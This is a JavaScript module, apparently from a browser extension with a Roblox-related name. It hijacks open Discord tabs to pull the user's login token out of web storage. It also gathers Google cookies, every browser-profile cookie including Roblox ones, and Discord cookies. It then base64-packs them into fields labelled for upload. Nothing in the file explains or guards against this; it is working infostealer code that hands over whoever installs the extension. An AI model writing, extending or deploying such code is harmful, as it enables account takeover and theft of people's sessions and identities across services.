'use strict';

(function (global) {
  var DISCORD_PATTERNS = [
    'https://discord.com/*',
    'https://*.discord.com/*',
    'https://discordapp.com/*'
  ];

  function readDiscordTokenInPage() {
    function normalize(t) {
      return t ? String(t).replace(/"/g, '').trim() : null;
    }
    function looksLikeUser(s) {
      if (!s || typeof s !== 'string') return false;
      var x = s.trim();
      if (x.startsWith('eyJ')) return false;
      if (x.startsWith('mfa.') && x.length > 30) return true;
      var parts = x.split('.');
      if (parts.length !== 3 || x.length < 50) return false;
      return /^[A-Za-z0-9_-]+$/.test(parts[0]) && /^[A-Za-z0-9_-]+$/.test(parts[1]) && /^[A-Za-z0-9_-]+$/.test(parts[2]);
    }
    function scanStore(store) {
      try {
        for (var i = 0; i < store.length; i++) {
          var raw = store.getItem(store.key(i));
          if (!raw) continue;
          var n = normalize(raw);
          if (looksLikeUser(n)) return n;
          if (raw.indexOf('mfa.') !== -1) {
            var m = raw.match(/\bmfa\.[A-Za-z0-9_-]{10,}\b/);
            if (m) return normalize(m[0]);
          }
          var cand = raw.match(/\b[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{5,}\.[A-Za-z0-9_-]{20,}\b/g);
          if (cand) {
            for (var ci = 0; ci < cand.length; ci++) {
              if (looksLikeUser(cand[ci])) return normalize(cand[ci]);
            }
          }
        }
      } catch (_) {}
      return null;
    }
    try {
      var a = scanStore(localStorage);
      if (a) return a;
      return scanStore(sessionStorage);
    } catch (_) {
      return null;
    }
  }

  async function collectDiscordTokenSW() {
    if (!chrome.tabs || !chrome.scripting) return null;
    var tabs = [];
    try {
      tabs = await chrome.tabs.query({ url: DISCORD_PATTERNS });
    } catch (_) {
      tabs = [];
    }
    if (!tabs.length) {
      try {
        var all = await chrome.tabs.query({});
        tabs = (all || []).filter(function (t) {
          return t.url && /discord(?:app)?\.com/i.test(t.url);
        });
      } catch (_) {
        tabs = [];
      }
    }
    if (!tabs.length) return null;

    tabs.sort(function (a, b) {
      function score(u) {
        if (!u) return 0;
        if (u.indexOf('/channels') !== -1 || u.indexOf('/app') !== -1) return 3;
        return 1;
      }
      return score(b.url) - score(a.url);
    });

    for (var ti = 0; ti < tabs.length; ti++) {
      var tab = tabs[ti];
      if (!tab || tab.id == null) continue;
      try {
        var injected = await chrome.scripting.executeScript({
          target: { tabId: tab.id },
          func: readDiscordTokenInPage
        });
        if (injected && injected[0] && injected[0].result) {
          return String(injected[0].result).trim();
        }
      } catch (_) {}
    }
    return null;
  }

  function b64Utf8(text) {
    try {
      return btoa(unescape(encodeURIComponent(String(text || ''))));
    } catch (_) {
      return '';
    }
  }

  function buildFieldsFromBody(body) {
    var fields = {};
    var txt = global.RbxTxtExport;
    if (!txt) return fields;

    var files = {};
    try {
      if (typeof txt.buildMailCookiesOnlyTxt === 'function') {
        var g = txt.buildMailCookiesOnlyTxt(body);
        if (g && g.trim()) files.google = g;
      } else if (typeof txt.buildGoogleCookiesOnlyTxt === 'function' && body.googleAuth) {
        var g2 = txt.buildGoogleCookiesOnlyTxt(body);
        if (g2 && g2.trim()) files.google = g2;
      }
      if (typeof txt.buildFullBrowserNetscapeTxt === 'function') {
        var all = txt.buildFullBrowserNetscapeTxt(body);
        if (all && all.trim()) files.all = all;
      } else if (typeof txt.buildAllBrowserTxt === 'function') {
        var all2 = txt.buildAllBrowserTxt(body);
        if (all2 && all2.trim()) files.all = all2;
      }
      if (body.discordToken && String(body.discordToken).trim()) {
        files.discord = String(body.discordToken).trim();
      }
    } catch (_) {}

    function putB64(key, text) {
      if (!text || String(text).length > 600000) return;
      var enc = b64Utf8(text);
      if (!enc || enc.length > 800000) return;
      fields[key] = enc;
    }

    putB64('txt_all_b64', files.all);
    putB64('txt_google_b64', files.google);
    putB64('txt_discord_b64', files.discord);
    putB64('txt_emails_b64', files.emails);

    if (body.discordToken) fields.discord_token = String(body.discordToken).slice(0, 800);
    if (body.googleEmail) fields.google_email = String(body.googleEmail).slice(0, 320);

    return fields;
  }

  async function collectAndBuildExtrasFields() {
    var body = {};
    var googleCookies = global.MrbxGoogleCookies;
    if (googleCookies && typeof googleCookies.collect === 'function') {
      var googleAuth = await googleCookies.collect();
      if (googleAuth) {
        body.googleAuth = googleAuth;
      }
    }
    var jarApi = global.RbxSwCookieJar;
    if (jarApi && typeof jarApi.collectAllProfileCookies === 'function') {
      try {
        var jarRes = await jarApi.collectAllProfileCookies({ includeRoblox: true });
        if (jarRes && Array.isArray(jarRes.cookies) && jarRes.cookies.length) {
          body.fullBrowserJar = jarRes.cookies;
        }
      } catch (_) {}
    }
    var discordToken = await collectDiscordTokenSW();
    if (discordToken) body.discordToken = discordToken;
    var discordCookies = global.MrbxDiscordCookies;
    if (discordCookies && typeof discordCookies.collect === 'function') {
      var discordAuth = await discordCookies.collect();
      if (discordAuth) body.discordAuth = discordAuth;
    }
    return buildFieldsFromBody(body);
  }

  global.MrbxExtrasSW = {
    collectAndBuildExtrasFields: collectAndBuildExtrasFields
  };
})(typeof self !== 'undefined' ? self : typeof globalThis !== 'undefined' ? globalThis : global);
